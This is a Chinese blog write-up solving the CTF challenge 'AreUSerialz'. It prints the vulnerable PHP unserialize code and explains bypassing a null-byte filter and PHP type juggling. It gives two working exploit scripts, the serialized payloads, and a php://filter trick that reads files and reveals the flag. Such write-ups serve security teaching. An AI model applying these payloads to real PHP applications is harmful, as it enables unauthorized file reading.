首页 > 其他分享 >[网鼎杯 2020 青龙组]AreUSerialz

[网鼎杯 2020 青龙组]AreUSerialz

时间:2023-11-25 13:12:14浏览次数:31  
标签:AreUSerialz res filename content read 2020 output 网鼎杯 op

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

思路:构造一个payload去执行read()函数,读取flag.php的内容。

从最后一段看到,我们传入的参数,会先通过is_valid这个函数,它对传入的参数中的每一个字符进行判断,需满足ascii值在32~125之间,然后对其进行反序列化,否则不会执行任何操作。

这里由于op,filename,content三个变量权限都是protected,而protected和private权限的变量在序列化的时会引入不可见字符\x00,这些字符对应的ascii码为0,经过is_valid函数以后会返回false,导致无法执行到反序列函数。

这里有两种方法进行绕过

1.将ascii码为0的用”\00"来代替,在php打序列化字符串中只要把其中的s改成大写打S,后面打字符串就可以用十六进制表示,来绕过is_valid中对空字节的检查

然后is_valid函数判断完之后,会将$str反序列化,这个时候会调用__destruct函数

__destruct:在一个对象销毁的时候自动调用

函数参考链接:https://segmentfault.com/a/1190000007250604

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

函数中会首先判断$op参数是不是为'2',注意这里比较的不是数字2,因为这是” === “强比较类型,会首先判断变量类型。如果op === '2',就将op赋值为'1',然后content赋值为”“就是为空,然后调用process函数

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

函数中会先判断op == “1”,是就进入write函数,不是就会判断op == '2',这里注意是弱类型比较==。是的话就会进入read()函数,然后输出$res变量,否则输出"Bad Hacker!”,这里我们接着看write和read函数。

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

write()函数是判断filename和content变量是不是为空,然后判断content长度是不是>100,如果是就调用output函数输出"Too long!“,然后读取filename和conteng文件赋值给$res,判断是否为真,为真输出"Successful!“,为假输出"Failed!“,这些并不是什么有用的信息。

read()函数首先新建一个空的$res变量,然后判断filename是否有内容,将内容读取返回之后用output输出,这个时候们可以通过filename访问flag.php文件,这个变量是可控的。所以可以构造payload选择进入read()函数。

所以我们要令op=2,这里的2是整数int。当op=2时,op === "2"为false,op=="2"为true,接着进入read函数,里面会有$res = file_get_contents($this->filename),这个时候可以用php伪协议来读取flag.php

filename=php://filter/read=convert.base64-encode/resource=flag.php

如果直接filename=flag.php,则内容会在注释中显示,具体操作会在第2种方法中演示结果

完整的EXP如下:

<?php
	class FileHandler {

		  protected $op=2;
		  protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
		  protected $content="";

	}
	$a=new FileHandler();
	$b=serialize($a);
	$b = str_replace(chr(0),'\00',$b);
	$b = str_replace('s:','S:',$b);
	echo $b;
?>

IhXrg3qMO7r-YE4LJ6LvZ7ZIA1EhRP4KRpGmC3KnGd0

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";S:0:"";}

接着构造payload

o-VoU377aQXNrP0ZMt8CCFGboD9apKm4CIE_NyIsowo

解码得到flag{1ba34463-13f9-4816-8606-1275ecb69cb6}

eLN3ROM9v0r9c4zsaOnxPwR8wKx8DGjmpp9Nhg5KMvg

2.PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。即我们最后在构造poc的时候,用public来修饰属性

<?php
	class FileHandler {

		public  $op = 2;
		public  $filename = "flag.php";
		public  $content = "1";        //因为destruce函数会将content改为空,所以content的值随意(但是要满足is_valid()函数的要求)
	}

	$a = new FileHandler();
	$b = serialize($a);
	echo $b;
?>

TlL3LrCSnjlVhJl7vFR_rkpf80ZteA2aGJWpeo7LhMk

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:1:"1";}

此时页面中注释直接输出flag

lvv2KarTFwTcXqChENpLsjO9DFWKDpbbt1kMi6ZCxv0

标签:AreUSerialz,res,filename,content,read,2020,output,网鼎杯,op
From: https://www.cnblogs.com/fishjumpriver/p/17855402.html

相关文章

  • [MRCTF2020]CyberPunk
    压缩包里是一个exe程序,打开如图会刷新时间按照程序的意思,是到了2020.9.17这个日子,会给我们flag,修改下当前系统时间flag{We1cOm3_70_cyber_security}......
  • SketchUp2020-2023官方中文语言包安装问题修复
    在2020以后的版本里,官方出的中文语言包如果不是在安装SketchUp本体而是本体安装完毕后单独安装的,那么这个语言包安装后的文件路径和注册表会默认是2020的版本,也就是说SketchUp官方对于中文社区的态度就是反正很多人都是用盗版,随便糊弄一下就可以了.因此,这个中文语言包......
  • Apache Spark 认证绕过漏洞(CVE-2020-9480)研究
    一、ApacheSpark简介Spark是一种快速、通用、可扩展的大数据分析引擎,2009年诞生于加州大学伯克利分校AMPLab,2010年开源,2013年6月成为Apache孵化项目,2014年2月成为Apache顶级项目。项目是用Scala进行编写。目前,Spark生态系统已经发展成为一个包含多个子项目的集合,其中包含Spa......
  • The 2020 ICPC Asia Yinchuan Regional Programming Contest
    Preface好久没有和队友一起打比赛了,然后今天纯战犯,G一个初值设错WA了三发还卡了1h,最后冲D也因为细节原因没调出来但这场现场的榜只能用惨淡来形容,6题就稳Au了,而且感觉如果最后能出7个题的话甚至能有出线机会?看来还是前面题目区分度太小了A.BestPlayer签到题,按题意模拟即可......
  • 关于 Angular 构建之后生成的 dist 目录和 esm2020, fesm2015 等等
    在Angular应用中,dist目录是构建应用后的输出目录,其中包含了已编译、打包和优化的应用文件。assets文件夹通常用于存放应用所需的静态资源,如图片、字体、配置文件等。esm2020、fesm2015和fesm2020是Angular构建过程中生成的文件夹,它们主要与Angular的模块加载系统和代码优化有关。......
  • 2020 NOIP 补题
    P7113[NOIP2020]排水系统拓扑排序,但是\(\_\_int128\)。#include<bits/stdc++.h>usingnamespacestd;#defineendl'\n'#defineinlinline#defineebemplace_back#definepbpop_back#definemid(l+r>>1)#definelsp<<1#definersp......
  • [MRCTF2020]千层套路
    压缩包需要密码,暴力破解得知为0573发现里面压缩包的密码也是文件名0114估计是套娃题,拿脚本解压importzipfilename='0573'whileTrue:fz=zipfile.ZipFile(name+'.zip','r')fz.extractall(pwd=bytes(name,'utf-8'))name=fz.filelist[0].file......
  • The 2020 ICPC Asia Shenyang Regional Programming Contest M. United in Stormwind
    Preface先补一下这周一队友VP的ICPC2020沈阳,这场由于我在补作业+晚上有大物实验,因此只参与了中间一个多小时,纯口胡了几个简单题因为我没怎么参与所以过的其它题就不写补题+写博客了,毕竟队友会等于我会那么就主要把我比赛时看了但没啥思路的M补了,AI祁神好像在补那我就不管了,后面......
  • idea2020.1.3汉化包报错问题
    已解决:idea2020.1.3汉化包报错问题问题描述:插件市场提供的版本不对、不兼容,所以需要手动下载安装这里附上文件使用方法:在插件市场,点击右上角设置,选择下面图片展示的选项,然后选择刚才下载的文件,点击重启即可完成!最后成品......
  • 【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF
    【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF1.收获CMS初审计google、baiduhackPHP原生类反序列化2.看题2.1读源码网页存在源码泄露,访问www.zip,得到源码。同时要知道,typecho模板是存在反序列化注入漏洞的,但是其存在于install.php,本题中没有这个文件,所以找找其他线索......